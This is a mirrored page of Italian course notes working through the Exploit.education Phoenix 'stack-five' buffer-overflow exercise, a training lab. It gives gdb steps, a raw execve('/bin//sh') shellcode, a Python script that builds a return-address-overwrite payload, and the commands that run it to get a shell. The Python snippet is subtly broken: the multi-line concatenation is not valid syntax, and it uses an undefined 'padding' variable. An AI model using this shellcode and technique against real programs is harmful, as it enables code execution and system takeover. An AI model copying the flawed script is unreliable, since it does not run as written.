1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-21 18:34:18 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/05 - stack-five.md
2023-09-21 02:46:23 +02:00

2 KiB

Stack Five

Even harder...!

Usiamo gdb per ispezionare l'eseguibile bersaglio, creando un ambiente di esecuzione costante:

$ gdb
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env _

Impostiamo ancora un breakpoint in start_level e avanziamo fino alla chiamata di gets:

(gdb) break start_level
(gdb) run
(gdb) disassemble start_level
(gdb) step
...

Annotiamo i valori dei registri rbp e rsp:

(gdb) x $rbp
0x7fffffffe690
(gdb) x $rsp
0x7fffffffe610

Troviamo uno shellcode che effettui execve("/bin//sh") (doppia barra in modo che sia allineato a 8 bytes, allineando automaticamente lo stack a 16-bytes):

1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05

Aiutandoci con python, costruiamo il payload:

import struct

rbp = 0x7fffffffe690
rsp = 0x7fffffffe610
shellcode = b"1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05"

total_length = rbp - rsp
padding_length = total_length - len(shellcode)

payload =
	# Mettiamo lo shellcode per primo, in modo che non venga sovrascritto dallo stack
	shellcode +
	# Mettiamo il padding...
	padding +
	# Facciamo in modo che l'rbp non cambi dopo il ritorno della funzione
	struct.pack("@Q", rbp) +  # @ per l'endianness nativa, Q per indirizzi 64 bit
	# Facciamo in modo che l'rip cambi a quello dell'inizio dello shellcode dopo il ritorno della funzione
	struct.pack("@Q", rsp)  # Lo shellcode si trova alla cima dello stack!

with open("file", "wb") as file:
	file.write(payload)

Proviamo a eseguire in gdb:

(gdb) run < file
...
process 5984 is executing new program: /bin/dash

Funziona!

Ricreiamolo in una shell normale.

Prepariamo l'ambiente:

$ sh
$ unset _

Avviamo il payload:

$ cat file | /opt/phoenix/amd64/stack-five

Così non va, perchè standard input è chiuso e la shell si chiude subito.
Se invece vogliamo mantenere lo standard input aperto, facciamo:

$ cat file - | /opt/phoenix/amd64/stack-five

E l'exploit funziona!